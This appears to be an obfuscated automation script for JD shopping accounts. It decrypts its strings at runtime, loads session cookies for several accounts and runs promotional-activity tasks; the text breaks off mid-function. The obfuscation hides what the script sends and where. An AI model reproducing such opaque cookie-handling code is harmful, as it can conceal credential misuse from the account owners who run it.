_0x87f4(_0x50b579,_0x1a4950){_0x50b579=~~'0x'['concat'](_0x50b579['slice'](0x1));var _0x4606cd=_0x1cd8[_0x50b579];if(_0x87f4['QYQozH']===undefined){(function(){var _0xe884da=function(){var _0x5f5d37;try{_0x5f5d37=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x4534d8){_0x5f5d37=window;}return _0x5f5d37;};var _0x345ca1=_0xe884da();var _0x31752b='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x345ca1['atob']||(_0x345ca1['atob']=function(_0x14d268){var _0x5398b5=String(_0x14d268)['replace'](/=+$/,'');for(var _0xdbc588=0x0,_0x2d4af6,_0x416a36,_0x100e54=0x0,_0x5a86db='';_0x416a36=_0x5398b5['charAt'](_0x100e54++);~_0x416a36&&(_0x2d4af6=_0xdbc588%0x4?_0x2d4af6*0x40+_0x416a36:_0x416a36,_0xdbc588++%0x4)?_0x5a86db+=String['fromCharCode'](0xff&_0x2d4af6>>(-0x2*_0xdbc588&0x6)):0x0){_0x416a36=_0x31752b['indexOf'](_0x416a36);}return _0x5a86db;});}());function _0x40a0d0(_0x351dd5,_0x1a4950){var _0x22469d=[],_0x58634e=0x0,_0x5cda73,_0x47d4f6='',_0x2f48ed='';_0x351dd5=atob(_0x351dd5);for(var _0x15b967=0x0,_0x730a38=_0x351dd5['length'];_0x15b967<_0x730a38;_0x15b967++){_0x2f48ed+='%'+('00'+_0x351dd5['charCodeAt'](_0x15b967)['toString'](0x10))['slice'](-0x2);}_0x351dd5=decodeURIComponent(_0x2f48ed);for(var _0x215f39=0x0;_0x215f39<0x100;_0x215f39++){_0x22469d[_0x215f39]=_0x215f39;}for(_0x215f39=0x0;_0x215f39<0x100;_0x215f39++){_0x58634e=(_0x58634e+_0x22469d[_0x215f39]+_0x1a4950['charCodeAt'](_0x215f39%_0x1a4950['length']))%0x100;_0x5cda73=_0x22469d[_0x215f39];_0x22469d[_0x215f39]=_0x22469d[_0x58634e];_0x22469d[_0x58634e]=_0x5cda73;}_0x215f39=0x0;_0x58634e=0x0;for(var _0x96be2b=0x0;_0x96be2b<_0x351dd5['length'];_0x96be2b++){_0x215f39=(_0x215f39+0x1)%0x100;_0x58634e=(_0x58634e+_0x22469d[_0x215f39])%0x100;_0x5cda73=_0x22469d[_0x215f39];_0x22469d[_0x215f39]=_0x22469d[_0x58634e];_0x22469d[_0x58634e]=_0x5cda73;_0x47d4f6+=String['fromCharCode'](_0x351dd5['charCodeAt'](_0x96be2b)^_0x22469d[(_0x22469d[_0x215f39]+_0x22469d[_0x58634e])%0x100]);}return _0x47d4f6;}_0x87f4['OMFytQ']=_0x40a0d0;_0x87f4['LLJtFM']={};_0x87f4['QYQozH']=!![];}var _0x15cd34=_0x87f4['LLJtFM'][_0x50b579];if(_0x15cd34===undefined){if(_0x87f4['TOrNlW']===undefined){_0x87f4['TOrNlW']=!![];}_0x4606cd=_0x87f4['OMFytQ'](_0x4606cd,_0x1a4950);_0x87f4['LLJtFM'][_0x50b579]=_0x4606cd;}else{_0x4606cd=_0x15cd34;}return _0x4606cd;};const $=new Env(_0x87f4('‮0','\x6c\x41\x4e\x55'));const jdCookieNode=$[_0x87f4('‮1','\x54\x70\x77\x69')]()?require(_0x87f4('‫2','\x29\x52\x26\x53')):'';const notify=$[_0x87f4('‮3','\x29\x52\x26\x53')]()?require(_0x87f4('‮4','\x23\x41\x65\x78')):'';let cookiesArr=[],cookie='',message='';let ownCode={};let isdoTask=!![];let isplayGame=!![];let lz_cookie={};let wxgameActivityId='';let llnothing=!![];let Allmessage='';if($[_0x87f4('‮5','\x50\x6c\x34\x73')]()){Object[_0x87f4('‮6','\x54\x70\x77\x69')](jdCookieNode)[_0x87f4('‫7','\x73\x48\x62\x4b')](_0x5aa227=>{cookiesArr[_0x87f4('‮8','\x7a\x34\x77\x71')](jdCookieNode[_0x5aa227]);});if(process[_0x87f4('‫9','\x44\x48\x5a\x34')][_0x87f4('‫a','\x34\x74\x40\x45')]&&process[_0x87f4('‫b','\x56\x6d\x4e\x53')][_0x87f4('‮c','\x71\x23\x23\x76')]===_0x87f4('‮d','\x76\x76\x42\x43'))console[_0x87f4('‮e','\x63\x63\x57\x42')]=()=>{};}else{let cookiesData=$[_0x87f4('‫f','\x6c\x41\x4e\x55')](_0x87f4('‫10','\x33\x51\x65\x48'))||'\x5b\x5d';cookiesData=JSON[_0x87f4('‫11','\x79\x5a\x59\x32')](cookiesData);cookiesArr=cookiesData[_0x87f4('‫12','\x5a\x4d\x49\x21')](_0x581cdd=>_0x581cdd[_0x87f4('‮13','\x29\x52\x26\x53')]);cookiesArr[_0x87f4('‫14','\x35\x73\x5b\x64')]();cookiesArr[_0x87f4('‫15','\x47\x7a\x7a\x79')](...[$[_0x87f4('‫16','\x4a\x32\x6b\x76')](_0x87f4('‫17','\x6c\x7a\x21\x32')),$[_0x87f4('‫18','\x65\x45\x58\x41')](_0x87f4('‮19','\x6c\x41\x4e\x55'))]);cookiesArr[_0x87f4('‮1a','\x4c\x51\x59\x24')]();cookiesArr=cookiesArr[_0x87f4('‮1b','\x79\x5a\x59\x32')](_0x2f18fd=>!!_0x2f18fd);}if(process[_0x87f4('‫1c','\x73\x48\x62\x4b')][_0x87f4('‮1d','\x29\x42\x42\x45')]&&process[_0x87f4('‫1e','\x58\x6d\x41\x57')][_0x87f4('‮1f','\x67\x31\x5a\x28')]!=''){wxgameActivityId=process[_0x87f4('‫20','\x31\x74\x29\x36')][_0x87f4('‫21','\x7a\x34\x77\x71')][_0x87f4('‮22','\x67\x31\x5a\x28')]('\x2c');}!(async()=>{var _0x46e928={'\x72\x59\x77\x4b\x65':_0x87f4('‮23','\x71\x23\x23\x76'),'\x61\x73\x68\x4b\x72':_0x87f4('‫24','\x37\x7a\x2a\x4a'),'\x72\x79\x53\x41\x56':_0x87f4('‮25','\x47\x7a\x7a\x79'),'\x49\x42\x45\x75\x6b':_0x87f4('‮26','\x67\x31\x5a\x28'),'\x47\x58\x47\x68\x6f':function(_0x2b5fa0,_0x5ef278){return _0x2b5fa0+_0x5ef278;},'\x5a\x63\x63\x6a\x6b':function(_0x3146f5,_0x31feec){return _0x3146f5+_0x31feec;},'\x57\x6d\x49\x69\x67':function(_0x52b189,_0x475dac){return _0x52b189+_0x475dac;},'\x6a\x61\x4a\x75\x4c':function(_0x33b3b5,_0x27c446){return _0x33b3b5!==_0x27c446;},'\x44\x78\x4e\x43\x6f':_0x87f4('‫27','\x67\x31\x5a\x28'),'\x56\x52\x55\x70\x74':_0x87f4('‫28','\x58\x6d\x41\x57'),'\x77\x6a\x73\x56\x76':_0x87f4('‫29','\x76\x70\x30\x23'),'\x68\x54\x6d\x4e\x42':_0x87f4('‮2a','\x6c\x56\x25\x67'),'\x4f\x55\x47\x67\x4c':function(_0x53a738,_0x4888f4){return _0x53a738+_0x4888f4;},'\x59\x45\x73\x7a\x46':function(_0x1bad77,_0x426fcf){return _0x1bad77<_0x426fcf;},'\x77\x6e\x54\x56\x68':function(_0x415c00,_0x415506){return _0x415c00===_0x415506;},'\x49\x6f\x48\x4d\x55':_0x87f4('‫2b','\x4a\x32\x6b\x76'),'\x53\x4e\x45\x4f\x55':_0x87f4('‫2c','\x23\x41\x65\x78'),'\x64\x51\x6e\x6b\x53':function(_0x30e720,_0x4d2309){return _0x30e720>_0x4d2309;},'\x69\x65\x5a\x76\x66':_0x87f4('‫2d','\x37\x7a\x2a\x4a'),'\x54\x77\x46\x79\x68':function(_0x1460af,_0xb41727){return _0x1460af(_0xb41727);},'\x42\x59\x74\x63\x68':function(_0x11d3ae,_0x2a222f){return _0x11d3ae+_0x2a222f;},'\x55\x5a\x56\x73\x4c':function(_0x104ec7){return _0x104ec7();},'\x58\x70\x4b\x66\x43':function(_0x2f87b7,_0xc14cf9,_0x236e05){return _0x2f87b7(_0xc14cf9,_0x236e05);},'\x79\x63\x55\x77\x50':_0x87f4('‫2e','\x6e\x50\x69\x51'),'\x54\x77\x43\x49\x4f':function(_0x32e222,_0x5df712){return _0x32e222(_0x5df712);},'\x4f\x57\x46\x45\x6e':_0x87f4('‮2f','\x35\x73\x5b\x64'),'\x4c\x47\x4b\x79\x48':function(_0x41416d,_0x4f5e39,_0x365797){return _0x41416d(_0x4f5e39,_0x365797);},'\x51\x6e\x52\x66\x4d':function(_0x37e4c5,_0x17ee58){return _0x37e4c5(_0x17ee58);},'\x63\x64\x52\x4e\x6a':function(_0xd8514d,_0xb5b056){return _0xd8514d!==_0xb5b056;},'\x46\x7a\x71\x69\x66':_0x87f4('‫30','\x29\x42\x42\x45'),'\x6b\x4d\x50\x6d\x69':function(_0x1584f6,_0x5cfe0b){return _0x1584f6!==_0x5cfe0b;},'\x57\x4e\x69\x5a\x76':_0x87f4('‫31','\x76\x70\x30\x23'),'\x47\x6a\x65\x4b\x4a':function(_0x368b75,_0x3b8a05){return _0x368b75===_0x3b8a05;},'\x51\x73\x72\x43\x50':_0x87f4('‫32','\x47\x7a\x7a\x79'),'\x77\x4e\x59\x66\x4d':_0x87f4('‮33','\x44\x48\x5a\x34'),'\x65\x5a\x53\x44\x42':function(_0x7f9b95,_0x40ed7e){return _0x7f9b95+_0x40ed7e;},'\x51\x7a\x4f\x57\x55':function(_0x53f71c,_0x128e72){return _0x53f71c+_0x128e72;},'\x55\x4f\x6b\x70\x7a':_0x87f4('‮34','\x5d\x25\x68\x79'),'\x59\x59\x4d\x44\x64':_0x87f4('‮35','\x37\x7a\x2a\x4a'),'\x53\x59\x4e\x61\x6b':function(_0x35f35b,_0x5ddaab){return _0x35f35b(_0x5ddaab);},'\x4a\x44\x74\x6f\x78':_0x87f4('‮36','\x6e\x50\x69\x51'),'\x6b\x66\x66\x4d\x6d':_0x87f4('‫37','\x31\x74\x29\x36'),'\x59\x4a\x4c\x69\x4b':function(_0x405d0f,_0x1465b5){return _0x405d0f(_0x1465b5);},'\x6b\x4e\x67\x72\x76':function(_0x4b8d6c,_0x523af2,_0x2947c9){return _0x4b8d6c(_0x523af2,_0x2947c9);},'\x59\x64\x65\x75\x79':function(_0x3e891a,_0x165781){return _0x3e891a!==_0x165781;},'\x51\x6d\x43\x43\x6c':function(_0x181f6e,_0x4b8b4d,_0x2edba3){return _0x181f6e(_0x4b8b4d,_0x2edba3);},'\x51\x71\x78\x73\x4d':function(_0x27ebbe){return _0x27ebbe();},'\x57\x4a\x4e\x4c\x58':function(_0x471594,_0x3c4a71){return _0x471594!==_0x3c4a71;},'\x6d\x7a\x49\x6c\x73':function(_0x11bbaf,_0x5829ab){return _0x11bbaf!==_0x5829ab;},'\x69\x71\x4f\x6b\x7a':_0x87f4('‫38','\x61\x46\x45\x33'),'\x56\x6e\x56\x4f\x45':_0x87f4('‮39','\x76\x76\x42\x43')};if(!cookiesArr[0x0]){if(_0x46e928[_0x87f4('‫3a','\x6e\x50\x69\x51')](_0x46e928[_0x87f4('‫3b','\x6c\x56\x25\x67')],_0x46e928[_0x87f4('‮3c','\x71\x53\x72\x62')])){$[_0x87f4('‮3d','\x52\x62\x46\x57')]($[_0x87f4('‫3e','\x52\x62\x46\x57')],_0x46e928[_0x87f4('‮3f','\x56\x6d\x4e\x53')],_0x46e928[_0x87f4('‫40','\x7a\x34\x77\x71')],{'open-url':_0x46e928[_0x87f4('‫41','\x4c\x72\x2a\x77')]});return;}else{ownCode[_0x46e928[_0x87f4('‮42','\x58\x64\x45\x7a')]]=data[_0x87f4('‮43','\x25\x71\x4d\x71')][_0x87f4('‮44','\x25\x71\x4d\x71')];ownCode[_0x46e928[_0x87f4('‮45','\x63\x4f\x25\x61')]]=data[_0x87f4('‮46','\x79\x79\x31\x4e')][_0x87f4('‫47','\x31\x74\x29\x36')];}}console[_0x87f4('‮48','\x29\x4c\x6c\x6b')](_0x46e928[_0x87f4('‮49','\x79\x79\x31\x4e')](_0x87f4('‫4a','\x4d\x42\x49\x64'),wxgameActivityId));for(let _0x238b58=0x0;_0x46e928[_0x87f4('‮4b','\x58\x64\x45\x7a')](_0x238b58,cookiesArr[_0x87f4('‮4c','\x76\x76\x42\x43')]);_0x238b58++){if(_0x46e928[_0x87f4('‫4d','\x58\x6d\x41\x57')](_0x46e928[_0x87f4('‮4e','\x4c\x51\x59\x24')],_0x46e928[_0x87f4('‫4f','\x52\x62\x46\x57')])){$[_0x87f4('‫50','\x76\x76\x42\x43')]=!![];}else{if(_0x46e928[_0x87f4('‫51','\x54\x36\x33\x71')](_0x238b58,0xa)&&llnothing){console[_0x87f4('‫52','\x63\x4f\x25\x61')](_0x46e928[_0x87f4('‮53','\x50\x6b\x62\x24')]);break;}if(cookiesArr[_0x238b58]){cookie=cookiesArr[_0x238b58];originCookie=cookiesArr[_0x238b58];newCookie='';$[_0x87f4('‮54','\x4a\x32\x6b\x76')]=_0x46e928[_0x87f4('‫55','\x79\x79\x31\x4e')](decodeURIComponent,cookie[_0x87f4('‮56','\x54\x36\x33\x71')](/pt_pin=(.+?);/)&&cookie[_0x87f4('‫57','\x4d\x42\x49\x64')](/pt_pin=(.+?);/)[0x1]);$[_0x87f4('‫58','\x34\x74\x40\x45')]=_0x46e928[_0x87f4('‮59','\x7a\x34\x77\x71')](_0x238b58,0x1);$[_0x87f4('‫5a','\x46\x55\x72\x32')]=!![];$[_0x87f4('‫5b','\x73\x48\x62\x4b')]='';await _0x46e928[_0x87f4('‫5c','\x35\x73\x5b\x64')](checkCookie);console[_0x87f4('‫5d','\x29\x52\x26\x53')](_0x87f4('‮5e','\x50\x6b\x62\x24')+$[_0x87f4('‮5f','\x71\x23\x23\x76')]+'\u3011'+($[_0x87f4('‫60','\x29\x4c\x6c\x6b')]||$[_0x87f4('‮61','\x56\x6d\x4e\x53')])+_0x87f4('‮62','\x34\x74\x40\x45'));if(!$[_0x87f4('‮63','\x74\x35\x70\x65')]){$[_0x87f4('‫64','\x34\x43\x47\x35')]($[_0x87f4('‫65','\x47\x7a\x7a\x79')],_0x87f4('‫66','\x74\x35\x70\x65'),_0x87f4('‮67','\x54\x36\x33\x71')+$[_0x87f4('‫68','\x58\x64\x45\x7a')]+'\x20'+($[_0x87f4('‫69','\x50\x6c\x34\x73')]||$[_0x87f4('‮54','\x4a\x32\x6b\x76')])+_0x87f4('‫6a','\x47\x7a\x7a\x79'),{'open-url':_0x46e928[_0x87f4('‮6b','\x61\x46\x45\x33')]});if($[_0x87f4('‮6c','\x23\x41\x65\x78')]()){await notify[_0x87f4('‫6d','\x63\x63\x57\x42')]($[_0x87f4('‮6e','\x29\x4c\x6c\x6b')]+_0x87f4('‮6f','\x63\x4f\x25\x61')+$[_0x87f4('‫70','\x67\x31\x5a\x28')],_0x87f4('‮71','\x67\x31\x5a\x28')+$[_0x87f4('‫72','\x54\x36\x33\x71')]+'\x20'+$[_0x87f4('‮73','\x6c\x7a\x21\x32')]+_0x87f4('‮74','\x76\x70\x30\x23'));}continue;}authorCodeList=[''];$[_0x87f4('‮75','\x25\x71\x4d\x71')]=0x0;$[_0x87f4('‫76','\x58\x6d\x41\x57')]=_0x46e928[_0x87f4('‫77','\x76\x76\x42\x43')](getUUID,_0x46e928[_0x87f4('‫78','\x6c\x56\x25\x67')],0x1);$[_0x87f4('‫79','\x6c\x41\x4e\x55')]=_0x46e928[_0x87f4('‮7a','\x29\x4c\x6c\x6b')](getUUID,_0x46e928[_0x87f4('‮7b','\x58\x64\x45\x7a')]);$[_0x87f4('‮7c','\x35\x73\x5b\x64')]=ownCode?ownCode:authorCodeList[_0x46e928[_0x87f4('‫7d','\x5a\x4d\x49\x21')](random,0x0,authorCodeList[_0x87f4('‮7e','\x63\x63\x57\x42')])];$[_0x87f4('‫7f','\x6c\x7a\x21\x32')]=''+_0x46e928[_0x87f4('‮80','\x50\x6b\x62\x24')](random,0xf4240,0x98967f);$[_0x87f4('‫81','\x76\x70\x30\x23')]=wxgameActivityId;$[_0x87f4('‮82','\x46\x55\x72\x32')]='';$[_0x87f4('‫83','\x58\x64\x45\x7a')]=_0x87f4('‮84','\x73\x48\x62\x4b')+$[_0x87f4('‮85','\x50\x6c\x34\x73')]+_0x87f4('‮86','\x58\x6d\x41\x57')+$[_0x87f4('‫87','\x63\x4f\x25\x61')]+_0x87f4('‫88','\x63\x4f\x25\x61')+_0x46e928[_0x87f4('‫89','\x47\x7a\x7a\x79')](encodeURIComponent,$[_0x87f4('‫8a','\x58\x6d\x41\x57')])+_0x87f4('‮8b','\x34\x74\x40\x45')+$[_0x87f4('‮8c','\x37\x7a\x2a\x4a')]+_0x87f4('‮8d','\x4a\x32\x6b\x76');message='';await _0x46e928[_0x87f4('‫8e','\x79\x5a\x59\x32')](member_08);if(_0x46e928[_0x87f4('‫8f','\x5a\x4d\x49\x21')](Allmessage,'')){if(_0x46e928[_0x87f4('‮90','\x54\x70\x77\x69')](_0x46e928[_0x87f4('‫91','\x29\x42\x42\x45')],_0x46e928[_0x87f4('‫92','\x7a\x34\x77\x71')])){if($[_0x87f4('‮93','\x47\x7a\x7a\x79')]()){if(_0x46e928[_0x87f4('‮94','\x6c\x41\x4e\x55')](_0x46e928[_0x87f4('‮95','\x61\x46\x45\x33')],_0x46e928[_0x87f4('‫96','\x4c\x72\x2a\x77')])){if(resp[_0x46e928[_0x87f4('‫97','\x4c\x72\x2a\x77')]][_0x46e928[_0x87f4('‮98','\x6c\x7a\x21\x32')]]){cookie=originCookie+'\x3b';for(let _0x4fbaf0 of resp[_0x46e928[_0x87f4('‮99','\x61\x46\x45\x33')]][_0x46e928[_0x87f4('‫9a','\x29\x42\x42\x45')]]){lz_cookie[_0x4fbaf0[_0x87f4('‮9b','\x6e\x50\x69\x51')]('\x3b')[0x0][_0x87f4('‮9c','\x52\x62\x46\x57')](0x0,_0x4fbaf0[_0x87f4('‮9d','\x35\x73\x5b\x64')]('\x3b')[0x0][_0x87f4('‫9e','\x79\x5a\x59\x32')]('\x3d'))]=_0x4fbaf0[_0x87f4('‫9f','\x4d\x42\x49\x64')]('\x3b')[0x0][_0x87f4('‮a0','\x54\x70\x77\x69')](_0x46e928[_0x87f4('‮a1','\x5d\x25\x68\x79')](_0x4fbaf0[_0x87f4('‫a2','\x33\x51\x65\x48')]('\x3b')[0x0][_0x87f4('‮a3','\x6e\x50\x69\x51')]('\x3d'),0x1));}for(const _0x155f3c of Object[_0x87f4('‫a4','\x61\x46\x45\x33')](lz_cookie)){cookie+=_0x46e928[_0x87f4('‫a5','\x44\x66\x34\x2a')](_0x46e928[_0x87f4('‮a6','\x5a\x4d\x49\x21')](_0x46e928[_0x87f4('‫a7','\x73\x48\x62\x4b')](_0x155f3c,'\x3d'),lz_cookie[_0x155f3c]),'\x3b');}$[_0x87f4('‮a8','\x34\x74\x6c\x48')]=cookie;}}else{await notify[_0x87f4('‮a9','\x34\x74\x6c\x48')]($[_0x87f4('‮aa','\x74\x35\x70\x65')],message,'','\x0a');}}}else{$[_0x87f4('‫5a','\x46\x55\x72\x32')]=![];return;}}}}}if(!llnothing){if(_0x46e928[_0x87f4('‮ab','\x29\x4c\x6c\x6b')](_0x46e928[_0x87f4('‫ac','\x58\x6d\x41\x57')],_0x46e928[_0x87f4('‫ad','\x25\x71\x4d\x71')])){var _0x566051=_0x46e928[_0x87f4('‮ae','\x29\x52\x26\x53')][_0x87f4('‫af','\x54\x70\x77\x69')]('\x7c'),_0x180c2=0x0;while(!![]){switch(_0x566051[_0x180c2++]){case'\x30':cookie=cookiesArr[_0x22dcb5];continue;case'\x31':console[_0x87f4('‮b0','\x35\x73\x5b\x64')](_0x46e928[_0x87f4('‫b1','\x21\x35\x33\x57')](_0x46e928[_0x87f4('‫b2','\x65\x45\x58\x41')](_0x46e928[_0x87f4('‮b3','\x54\x70\x77\x69')](_0x46e928[_0x87f4('‮b4','\x37\x7a\x2a\x4a')](_0x46e928[_0x87f4('‫b5','\x74\x35\x70\x65')],$[_0x87f4('‮b6','\x44\x48\x5a\x34')]),'\u3011'),$[_0x87f4('‫b7','\x5d\x25\x68\x79')]||$[_0x87f4('‮b8','\x50\x6c\x34\x73')]),_0x46e928[_0x87f4('‫b9','\x56\x6d\x4e\x53')]));continue;case'\x32':$[_0x87f4('‫ba','\x4d\x42\x49\x64')]=_0x46e928[_0x87f4('‫bb','\x35\x73\x5b\x64')](decodeURIComponent,cookie[_0x87f4('‫bc','\x6c\x41\x4e\x55')](/pt_pin=(.+?);/)&&cookie[_0x87f4('‮bd','\x29\x42\x42\x45')](/pt_pin=(.+?);/)[0x1]);continue;case'\x33':if($[_0x87f4('‮be','\x79\x5a\x59\x32')]){var _0x1487e4=_0x46e928[_0x87f4('‮bf','\x79\x79\x31\x4e')][_0x87f4('‫c0','\x79\x79\x31\x4e')]('\x7c'),_0x22dcb5=0x0;while(!![]){if(_0x46e928[_0x87f4('‮c1','\x4c\x72\x2a\x77')](_0x46e928[_0x87f4('‫c2','\x46\x55\x72\x32')],_0x46e928[_0x87f4('‫c3','\x58\x64\x45\x7a')])){switch(_0x1487e4[_0x22dcb5++]){case'\x30':$[_0x87f4('‫c4','\x34\x74\x6c\x48')]=_0x46e928[_0x87f4('‫c5','\x74\x35\x70\x65')](getUUID,_0x46e928[_0x87f4('‫c6','\x63\x63\x57\x42')]);continue;case'\x31':$[_0x87f4('‫c7','\x50\x6c\x34\x73')]='';continue;case'\x32':authorCodeList=[''];continue;case'\x33':$[_0x87f4('‫c8','\x6e\x50\x69\x51')]=''+_0x46e928[_0x87f4('‫c9','\x63\x63\x57\x42')](random,0xf4240,0x98967f);continue;case'\x34':await _0x46e928[_0x87f4('‮ca','\x56\x6d\x4e\x53')](member_08);continue;case'\x35':$[_0x87f4('‮cb','\x76\x76\x42\x43')]=_0x46e928[_0x87f4('‮cc','\x74\x35\x70\x65')](getUUID,_0x46e928[_0x87f4('‫cd','\x29\x42\x42\x45')],0x1);continue;case'\x36':$[_0x87f4('‮ce','\x74\x35\x70\x65')]=_0x87f4('‫cf','\x37\x7a\x2a\x4a')+$[_0x87f4('‮d0','\x5a\x4d\x49\x21')]+_0x87f4('‮d1','\x56\x6d\x4e\x53')+$[_0x87f4('‫d2','\x44\x66\x34\x2a')]+_0x87f4('‮d3','\x79\x79\x31\x4e')+_0x46e928[_0x87f4('‮d4','\x37\x7a\x2a\x4a')](encodeURIComponent,$[_0x87f4('‫d5','\x4c\x72\x2a\x77')])+_0x87f4('‮d6','\x73\x48\x62\x4b')+$[_0x87f4('‫d7','\x61\x46\x45\x33')]+_0x87f4('‫d8','\x33\x51\x65\x48');continue;case'\x37':if(_0x46e928[_0x87f4('‮d9','\x54\x36\x33\x71')](Allmessage,'')){if($[_0x87f4('‫da','\x50\x6b\x62\x24')]()){await notify[_0x87f4('‫db','\x63\x4f\x25\x61')]($[_0x87f4('‫dc','\x76\x76\x42\x43')],message,'','\x0a');}}continue;case'\x38':$[_0x87f4('‫dd','\x6c\x56\x25\x67')]=authorCodeList[_0x46e928[_0x87f4('‮de','\x46\x55\x72\x32')](random,0x0,authorCodeList[_0x87f4('‮4c','\x76\x76\x42\x43')])];continue;case'\x39':$[_0x87f4('‫df','\x4a\x32\x6b\x76')]=0x0;continue;case'\x31\x30':message='';continue;case'\x31\x31':$[_0x87f4('‫e0','\x25\x71\x4d\x71')]=wxgameActivityId;continue;}break;}else{$[_0x87f4('‮e1','\x76\x76\x42\x43')](e);}}}continue;case'\x34':$[_0x87f4('‫e2','\x35\x73\x5b\x64')]=!![];continue;case'\x35':await _0x46e928[_0x87f4('‫e3','\x4a\x32\x6b\x76')](checkCookie);continue;case'\x36':originCookie=cookiesArr[_0x22dcb5];continue;case'\x37':$[_0x87f4('‮b6','\x44\x48\x5a\x34')]=_0x46e928[_0x87f4('‮e4','\x56\x6d\x4e\x53')](_0x22dcb5,0x1);continue;case'\x38':_0x22dcb5=0x0;continue;case'\x39':$[_0x87f4('‮e5','\x34\x74\x6c\x48')]='';continue;case'\x31\x30':newCookie='';continue;}break;}}else{$[_0x87f4('‫e6','\x23\x41\x65\x78')]=data[_0x87f4('‫e7','\x74\x35\x70\x65')];}}if(_0x46e928[_0x87f4('‮e8','\x44\x48\x5a\x34')](Allmessage,'')){if($[_0x87f4('‫e9','\x5d\x25\x68\x79')]()){if(_0x46e928[_0x87f4('‫ea','\x4a\x32\x6b\x76')](_0x46e928[_0x87f4('‫eb','\x65\x45\x58\x41')],_0x46e928[_0x87f4('‮ec','\x7a\x34\x77\x71')])){await notify[_0x87f4('‮ed','\x4d\x42\x49\x64')]($[_0x87f4('‮ee','\x79\x5a\x59\x32')],message,'','\x0a');}else{console[_0x87f4('‮ef','\x6c\x7a\x21\x32')](err);}}}})()[_0x87f4('‫f0','\x74\x35\x70\x65')](_0x2e98ad=>{$[_0x87f4('‫f1','\x4c\x72\x2a\x77')]('','\u274c\x20'+$[_0x87f4('‫f2','\x29\x42\x42\x45')]+_0x87f4('‫f3','\x33\x51\x65\x48')+_0x2e98ad+'\x21','');})[_0x87f4('‫f4','\x6c\x56\x25\x67')](()=>{$[_0x87f4('‮f5','\x71\x23\x23\x76')]();});async function member_08(){var _0x2c72a5={'\x46\x6d\x42\x6e\x70':function(_0x11c3ea,_0x2a60ea){return _0x11c3ea+_0x2a60ea;},'\x65\x64\x62\x65\x50':function(_0x4377c9,_0x33d8a5){return _0x4377c9|_0x33d8a5;},'\x6a\x6c\x64\x72\x6c':function(_0x2a322d,_0x421596){return _0x2a322d*_0x421596;},'\x6a\x61\x63\x66\x6a':function(_0x4bb42a,_0x2b9716){return _0x4bb42a==_0x2b9716;},'\x75\x44\x57\x6d\x67':function(_0x2dbc46,_0x2ad0a6){return _0x2dbc46|_0x2ad0a6;},'\x41\x7a\x58\x47\x79':function(_0x52a9dd,_0x3ff9e7){return _0x52a9dd&_0x3ff9e7;},'\x47\x52\x45\x4e\x4d':function(_0x51265e){return _0x51265e();},'\x62\x6b\x73\x62\x6f':function(_0x3a9174,_0x3c1d0c,_0x5f1f11,_0x479d0d){return _0x3a9174(_0x3c1d0c,_0x5f1f11,_0x479d0d);},'\x73\x42\x4c\x52\x43':_0x87f4('‮f6','\x29\x4c\x6c\x6b'),'\x59\x44\x70\x6f\x4c':function(_0x35eb41,_0x393452,_0x67b8dc,_0x2e3a60){return _0x35eb41(_0x393452,_0x67b8dc,_0x2e3a60);},'\x56\x57\x50\x6f\x63':_0x87f4('‮f7','\x67\x31\x5a\x28'),'\x49\x48\x6a\x66\x55':function(_0x337117,_0x18a4b2){return _0x337117(_0x18a4b2);},'\x4b\x54\x58\x63\x68':function(_0x19559f,_0x4e1bb5,_0x318a06,_0x4537b9){return _0x19559f(_0x4e1bb5,_0x318a06,_0x4537b9);},'\x4b\x64\x67\x51\x4a':_0x87f4('‮f8','\x54\x70\x77\x69'),'\x47\x49\x77\x57\x4d':function(_0x756ca1,_0x394503,_0x55671d){return _0x756ca1(_0x394503,_0x55671d);},'\x71\x53\x66\x4d\x70':_0x87f4('‮f9','\x67\x31\x5a\x28'),'\x65\x78\x79\x41\x6d':function(_0x49b822,_0x5e044a){return _0x49b822(_0x5e044a);},'\x54\x6e\x79\x57\x54':function(_0x4aeee6,_0x3bc15b,_0x7dafae){return _0x4aeee6(_0x3bc15b,_0x7dafae);},'\x67\x72\x43\x69\x4a':_0x87f4('‮fa','\x35\x73\x5b\x64'),'\x63\x4b\x46\x64\x43':function(_0x2e7c7a,_0x14ee60){return _0x2e7c7a(_0x14ee60);},'\x53\x46\x6e\x7a\x72':function(_0xd1415c,_0x320f83){return _0xd1415c===_0x320f83;},'\x48\x49\x58\x4f\x43':_0x87f4('‫fb','\x73\x48\x62\x4b'),'\x63\x58\x58\x55\x65':function(_0x23ad04,_0xaf6e46){return _0x23ad04<_0xaf6e46;},'\x58\x50\x53\x71\x51':function(_0x344856,_0x9f8cd0){return _0x344856-_0x9f8cd0;},'\x41\x62\x53\x58\x4b':function(_0x1a1b7c,_0x19056f){return _0x1a1b7c==_0x19056f;},'\x6b\x4c\x45\x4a\x6e':_0x87f4('‮fc','\x44\x48\x5a\x34'),'\x6d\x62\x43\x45\x66':function(_0x57bb32,_0x4a652b){return _0x57bb32===_0x4a652b;},'\x42\x6a\x5a\x44\x70':_0x87f4('‮fd','\x50\x6c\x34\x73'),'\x46\x58\x78\x75\x71':function(_0x1a29fb,_0x2a178a,_0x3d1b5f){return _0x1a29fb(_0x2a178a,_0x3d1b5f);},'\x47\x4b\x58\x78\x48':_0x87f4('‫fe','\x71\x53\x72\x62'),'\x75\x72\x73\x66\x64':_0x87f4('‫ff','\x58\x64\x45\x7a'),'\x74\x45\x79\x71\x6d':_0x87f4('‫100','\x74\x35\x70\x65'),'\x50\x68\x48\x46\x64':_0x87f4('‫101','\x4a\x32\x6b\x76'),'\x6b\x6e\x72\x44\x6e':function(_0x683e0e,_0xe89c6a){return _0x683e0e(_0xe89c6a);},'\x67\x46\x4b\x4a\x67':_0x87f4('‫102','\x25\x71\x4d\x71'),'\x7a\x41\x4d\x5a\x65':_0x87f4('‮103','\x56\x6d\x4e\x53'),'\x45\x62\x76\x49\x46':function(_0x5291e8,_0x3b6dd0,_0x46db37){return _0x5291e8(_0x3b6dd0,_0x46db37);},'\x76\x44\x6f\x52\x58':function(_0xca0216,_0x5760a8){return _0xca0216(_0x5760a8);},'\x5a\x68\x4c\x4a\x6b':_0x87f4('‫104','\x63\x4f\x25\x61'),'\x48\x4a\x6f\x73\x4b':_0x87f4('‫105','\x34\x74\x40\x45'),'\x49\x4a\x67\x51\x67':function(_0x574264,_0xfcf9e8,_0x561b8c){return 